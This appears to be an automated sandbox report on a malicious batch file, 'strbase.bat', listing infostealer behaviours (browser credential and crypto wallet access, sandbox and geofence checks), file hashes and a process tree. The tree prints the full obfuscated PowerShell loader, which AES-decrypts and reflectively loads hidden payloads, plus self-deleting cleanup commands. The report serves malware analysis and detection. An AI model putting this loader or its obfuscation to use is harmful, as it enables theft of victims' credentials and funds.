Analysis

  • max time kernel
    42s
  • max time network
    50s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-es
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-eslocale:es-esos:windows10-2004-x64systemwindows
  • submitted
    26/05/2023, 22:16

General

  • Target

    strbase.bat

  • Size

    90KB

  • MD5

    4b6dfa11b969cfcb073ef3c3e8d06f3f

  • SHA1

    39334b926e1f7a34e0cfba9041b3bb2db90b7427

  • SHA256

    30d31df1b76896da37835c28f5a2fe771a2781c60785f2ef6a85fdda65d003b6

  • SHA512

    4de4da5b37723e3ffb71ada1d462505ce872e171f3a18adbf6f55d584731a035198bcd94a17f6f559a8c6771bf7d79d4183ef028fd17322455c192709844442a

  • SSDEEP

    1536:wsN03mpwRUGZeGhcAZORteK6IaqnOTtHTb5LW/NjoPqKvNnyOyADTrv3TzF1KPKb:XGh59c73aqETNW1joPqKl0ADTrfTziPE

Malware Config

Signatures

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\strbase.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5100
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\strbase.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3740
      • C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe
        "C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe" -w hidden -c $spOZ='LPuJyoadPuJy'.Replace('PuJy', '');$Bxlv='RePuJyadPuJyLinePuJysPuJy'.Replace('PuJy', '');$sSSd='ElPuJyemePuJyntAPuJytPuJy'.Replace('PuJy', '');$Byqx='GetCPuJyurPuJyrenPuJytPrPuJyoPuJycesPuJysPuJy'.Replace('PuJy', '');$ZwVV='EnPuJytPuJyryPuJyPoiPuJynPuJytPuJy'.Replace('PuJy', '');$XmDO='ChaPuJyngePuJyExPuJytensPuJyionPuJy'.Replace('PuJy', '');$GBcu='MPuJyaPuJyiPuJynMPuJyoPuJyduPuJylePuJy'.Replace('PuJy', '');$UsMf='SpPuJylitPuJy'.Replace('PuJy', '');$YePE='InPuJyvoPuJykePuJy'.Replace('PuJy', '');$RVIV='TPuJyranPuJysfPuJyorPuJymFPuJyinaPuJylBlPuJyocPuJykPuJy'.Replace('PuJy', '');$XeqM='CPuJyreaPuJytPuJyeDPuJyecPuJyrypPuJytorPuJy'.Replace('PuJy', '');$pzlJ='FrPuJyomBPuJyaPuJysePuJy64SPuJytriPuJyngPuJy'.Replace('PuJy', '');function Jzrml($PMuKV){$XwQuF=[System.Security.Cryptography.Aes]::Create();$XwQuF.Mode=[System.Security.Cryptography.CipherMode]::CBC;$XwQuF.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$XwQuF.Key=[System.Convert]::$pzlJ('h+p/35NU84iyyTJabcW4kjSTK6w7kVdJaQA9XrlPHEA=');$XwQuF.IV=[System.Convert]::$pzlJ('D27olZ2EF9BimhFWvpUs9Q==');$YUhkF=$XwQuF.$XeqM();$FpcTB=$YUhkF.$RVIV($PMuKV,0,$PMuKV.Length);$YUhkF.Dispose();$XwQuF.Dispose();$FpcTB;}function UHRsh($PMuKV){$EFYQB=New-Object System.IO.MemoryStream(,$PMuKV);$MbYQz=New-Object System.IO.MemoryStream;$IOVZM=New-Object System.IO.Compression.GZipStream($EFYQB,[IO.Compression.CompressionMode]::Decompress);$IOVZM.CopyTo($MbYQz);$IOVZM.Dispose();$EFYQB.Dispose();$MbYQz.Dispose();$MbYQz.ToArray();}$FtNSX=[System.Linq.Enumerable]::$sSSd([System.IO.File]::$Bxlv([System.IO.Path]::$XmDO([System.Diagnostics.Process]::$Byqx().$GBcu.FileName, $null)), 1);$PhYyL=$FtNSX.Substring(2).$UsMf(':');$jvfSk=UHRsh (Jzrml ([Convert]::$pzlJ($PhYyL[0])));$oGBZR=UHRsh (Jzrml ([Convert]::$pzlJ($PhYyL[1])));[System.Reflection.Assembly]::$spOZ([byte[]]$oGBZR).$ZwVV.$YePE($null,$null);[System.Reflection.Assembly]::$spOZ([byte[]]$jvfSk).$ZwVV.$YePE($null,$null);
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:940
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(940);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:224
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe" & del "C:\ProgramData\*.dll"" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2240
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 5
            5⤵
            • Delays execution with timeout.exe
            PID:2196

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\mozglue.dll

          Filesize

          593KB

          MD5

          c8fd9be83bc728cc04beffafc2907fe9

          SHA1

          95ab9f701e0024cedfbd312bcfe4e726744c4f2e

          SHA256

          ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

          SHA512

          fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

        • C:\ProgramData\nss3.dll

          Filesize

          2.0MB

          MD5

          1cc453cdf74f31e4d913ff9c10acdde2

          SHA1

          6e85eae544d6e965f15fa5c39700fa7202f3aafe

          SHA256

          ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

          SHA512

          dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          16KB

          MD5

          169a7325552fb7baa843fde09b73f1a3

          SHA1

          f37dc39980a263e4b61edd08c46919b940f78faa

          SHA256

          ca2abbe291fdbda83932930a4e765299e42d856b6c54fb1206876832e7e01083

          SHA512

          4aa399672b835f4496c715d45a4010c5df49b5f3e8134505bc85f1b588f1b71f49dda645db0578fba468ca3c2ffc26e71dac8cc9504015af6ebb801e61d67c2d

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wyvh0lz.eav.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe

          Filesize

          423KB

          MD5

          c32ca4acfcc635ec1ea6ed8a34df5fac

          SHA1

          f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

          SHA256

          73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

          SHA512

          6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        • C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe

          Filesize

          423KB

          MD5

          c32ca4acfcc635ec1ea6ed8a34df5fac

          SHA1

          f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

          SHA256

          73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

          SHA512

          6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

        • memory/224-246-0x0000000002840000-0x0000000002850000-memory.dmp

          Filesize

          64KB

        • memory/224-245-0x0000000007BB0000-0x0000000008154000-memory.dmp

          Filesize

          5.6MB

        • memory/224-244-0x0000000006860000-0x0000000006882000-memory.dmp

          Filesize

          136KB

        • memory/224-243-0x0000000007560000-0x00000000075F6000-memory.dmp

          Filesize

          600KB

        • memory/224-174-0x0000000002840000-0x0000000002850000-memory.dmp

          Filesize

          64KB

        • memory/940-158-0x0000000007EF0000-0x000000000856A000-memory.dmp

          Filesize

          6.5MB

        • memory/940-180-0x0000000004E20000-0x0000000004E30000-memory.dmp

          Filesize

          64KB

        • memory/940-157-0x0000000004E20000-0x0000000004E30000-memory.dmp

          Filesize

          64KB

        • memory/940-155-0x00000000063B0000-0x00000000064B2000-memory.dmp

          Filesize

          1.0MB

        • memory/940-159-0x0000000006AC0000-0x0000000006ADA000-memory.dmp

          Filesize

          104KB

        • memory/940-154-0x0000000005CB0000-0x0000000005CC0000-memory.dmp

          Filesize

          64KB

        • memory/940-162-0x0000000000400000-0x0000000000629000-memory.dmp

          Filesize

          2.2MB

        • memory/940-144-0x0000000005CD0000-0x0000000005D36000-memory.dmp

          Filesize

          408KB

        • memory/940-175-0x0000000061E00000-0x0000000061EF3000-memory.dmp

          Filesize

          972KB

        • memory/940-156-0x0000000005180000-0x000000000519E000-memory.dmp

          Filesize

          120KB

        • memory/940-231-0x0000000004E20000-0x0000000004E30000-memory.dmp

          Filesize

          64KB

        • memory/940-143-0x0000000005BB0000-0x0000000005C16000-memory.dmp

          Filesize

          408KB

        • memory/940-142-0x0000000005B10000-0x0000000005B32000-memory.dmp

          Filesize

          136KB

        • memory/940-141-0x0000000005340000-0x00000000053C2000-memory.dmp

          Filesize

          520KB

        • memory/940-140-0x0000000004E20000-0x0000000004E30000-memory.dmp

          Filesize

          64KB

        • memory/940-139-0x00000000054E0000-0x0000000005B08000-memory.dmp

          Filesize

          6.2MB

        • memory/940-138-0x0000000004E20000-0x0000000004E30000-memory.dmp

          Filesize

          64KB

        • memory/940-137-0x0000000004E70000-0x0000000004EA6000-memory.dmp

          Filesize

          216KB